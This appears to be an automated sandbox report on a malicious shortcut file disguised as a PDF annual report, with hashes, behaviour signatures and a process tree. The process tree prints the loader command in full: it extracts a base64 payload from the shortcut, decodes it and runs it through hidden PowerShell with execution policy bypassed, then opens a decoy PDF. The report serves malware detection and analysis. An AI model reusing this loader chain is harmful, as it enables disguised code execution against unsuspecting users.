Analysis

  • max time kernel
    1308s
  • max time network
    1319s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23-12-2023 21:43

General

  • Target

    2023_Annual_Report.pdf.lnk

  • Size

    55KB

  • MD5

    bbc4414d76d1a765f3d525556f616ef9

  • SHA1

    c73e28d87fbbc8be79ed1d421e78a41c29111a86

  • SHA256

    86f504dea07fd952253904c468d83d9014a290e1ff5f2d103059638e07d14b09

  • SHA512

    2a7204e361ace1c5c03bc240b985d09cc1f1e67dce025dca5ac9d450bc7193e456d3602ab557abd9bd7ec4d96815e41df06cdce9359379b32c0e777aa9d54be7

  • SSDEEP

    768:NLoFJQeDHeGYyhA5Z7JsCVResXebqwVCYm7/k/m7RU6d/dwiuGIjsZL2RxcNRyxc:NLBWYX5Z7JsCVCbqECB7cOm0OoxUURV

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\2023_Annual_Report.pdf.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3488
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk > "C:\Users\Admin\AppData\Local\Temp\Temp.jpg" & start /B pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2168
      • C:\Windows\system32\findstr.exe
        findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk
        3⤵
          PID:4848
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4784
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
            4⤵
            • Blocklisted process makes network request
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3948
            • C:\Windows\system32\findstr.exe
              "C:\Windows\system32\findstr.exe" /R JVBERi0xLjcNJeLjz9 2023_Annual_Report.pdf.lnk
              5⤵
                PID:4992
              • C:\Windows\system32\attrib.exe
                "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Temp.jpg
                5⤵
                • Views/modifies file attributes
                PID:3808
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Important.pdf"
                5⤵
                • Checks processor information in registry
                • Modifies Internet Explorer settings
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:96
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3604
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E2ABDC21622FAE450E3A9DA3BE53B6A0 --mojo-platform-channel-handle=1628 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                    7⤵
                      PID:4460
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=D6A75EA7E3312E18B0132CC79E9BF481 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=D6A75EA7E3312E18B0132CC79E9BF481 --renderer-client-id=2 --mojo-platform-channel-handle=1640 --allow-no-sandbox-job /prefetch:1
                      7⤵
                        PID:4424
                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=1A4C7E2D523F686E0D4BC1F985684A82 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=1A4C7E2D523F686E0D4BC1F985684A82 --renderer-client-id=4 --mojo-platform-channel-handle=2228 --allow-no-sandbox-job /prefetch:1
                        7⤵
                          PID:4700
                        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=6A51EA5F48909BEAC04A4C73A85D647B --mojo-platform-channel-handle=2580 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                          7⤵
                            PID:3004
                          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=EFC99BEB83C0626DD5ADE056806EB997 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                            7⤵
                              PID:4588
                            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=B5B0BF5783BD5D43E418172D1DC87379 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                              7⤵
                                PID:2204

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                    Filesize

                    64KB

                    MD5

                    d033eb47abf671571ce06e7a1fe7026f

                    SHA1

                    61fcd6cefb0674e23495a4207d02aa5b83a0f43b

                    SHA256

                    2d91f179c7d7a06e47f88ad7a47a612290e48df2e839ae66fdb0bd6b3eb534da

                    SHA512

                    87a346e122a4fc616e39f78eb50cf03d3bdb064bdb5e26614f155bed7a916f694085337111d398f29f77e2278e90075003022321335274b61d12ae97e7a8436a

                  • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                    Filesize

                    64KB

                    MD5

                    58714de254c2b521f88d9538b58fb0ea

                    SHA1

                    09ddc164f69829211f8e8166296305c9087d6f1b

                    SHA256

                    06b1c2846ff24bb9661e8230980c56e0d4d7d35fb7954bb697209e1fb7381903

                    SHA512

                    6b856df29596801d02de6ecb4632ebd47f8062efaca6e503c58f6f9b7501b41f081a60bfb7dc6f75688dacac18bd8db2c877b4133615abcae7b3aeb8c6898f90

                  • C:\Users\Admin\AppData\Local\Temp\Important.pdf

                    Filesize

                    35KB

                    MD5

                    76f18bc1e745e59e37141f2a9d336f6f

                    SHA1

                    289c50c79786a9e3ce559e7b6246305c26aa1082

                    SHA256

                    84f026998c5a547c8cc3ba8d86d3425097c501ae85a207c121288f6c1cf72710

                    SHA512

                    8b7c74ec13e4b8fc6c7cdb6ee161b203f99cf671ff72487bdce12f5d8c1ff73939bb31d6065fc1fcb41caa00ae07d8fab618848ec5f67748899586e498da496f

                  • C:\Users\Admin\AppData\Local\Temp\Temp.jpg

                    Filesize

                    7KB

                    MD5

                    50514f94115e319477095fbefa61257e

                    SHA1

                    004b3b8e4ace16db6fc954c10decf8856617ef12

                    SHA256

                    4339e02a2557b36934baf68b6e97daae04a3e118da2a66915e6200579594d8c6

                    SHA512

                    47f6a6f52e02cb7365e70e1637ad0f6e4c96c6f156ad794f3583eb8cbf1dc9af3b8a921ca2c754c2636bba2c2c6991204930502d171b2b41b72af78bfb7e2a49

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0t3cwt1.pu1.ps1

                    Filesize

                    1B

                    MD5

                    c4ca4238a0b923820dcc509a6f75849b

                    SHA1

                    356a192b7913b04c54574d18c28d46e6395428ab

                    SHA256

                    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                    SHA512

                    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                  • memory/96-651-0x0000000009290000-0x00000000092B1000-memory.dmp

                    Filesize

                    132KB

                  • memory/3948-38-0x00000225A0690000-0x00000225A06A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3948-661-0x00000225A0690000-0x00000225A06A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3948-37-0x00000225A0690000-0x00000225A06A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3948-726-0x00000225A0690000-0x00000225A06A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3948-66-0x00000225A07A0000-0x00000225A07DC000-memory.dmp

                    Filesize

                    240KB

                  • memory/3948-223-0x00000225A0690000-0x00000225A06A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3948-679-0x00000225A0690000-0x00000225A06A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3948-636-0x00000225A0690000-0x00000225A06A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3948-660-0x00000225A0690000-0x00000225A06A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3948-33-0x00007FFE39C50000-0x00007FFE3A63C000-memory.dmp

                    Filesize

                    9.9MB

                  • memory/3948-656-0x00007FFE39C50000-0x00007FFE3A63C000-memory.dmp

                    Filesize

                    9.9MB

                  • memory/4784-655-0x000001381CAF0000-0x000001381CB00000-memory.dmp

                    Filesize

                    64KB

                  • memory/4784-654-0x000001381CAF0000-0x000001381CB00000-memory.dmp

                    Filesize

                    64KB

                  • memory/4784-652-0x00007FFE39C50000-0x00007FFE3A63C000-memory.dmp

                    Filesize

                    9.9MB

                  • memory/4784-4-0x00000138368E0000-0x0000013836902000-memory.dmp

                    Filesize

                    136KB

                  • memory/4784-9-0x000001381CAF0000-0x000001381CB00000-memory.dmp

                    Filesize

                    64KB

                  • memory/4784-8-0x000001381CAF0000-0x000001381CB00000-memory.dmp

                    Filesize

                    64KB

                  • memory/4784-5-0x00007FFE39C50000-0x00007FFE3A63C000-memory.dmp

                    Filesize

                    9.9MB

                  • memory/4784-12-0x0000013836B90000-0x0000013836C06000-memory.dmp

                    Filesize

                    472KB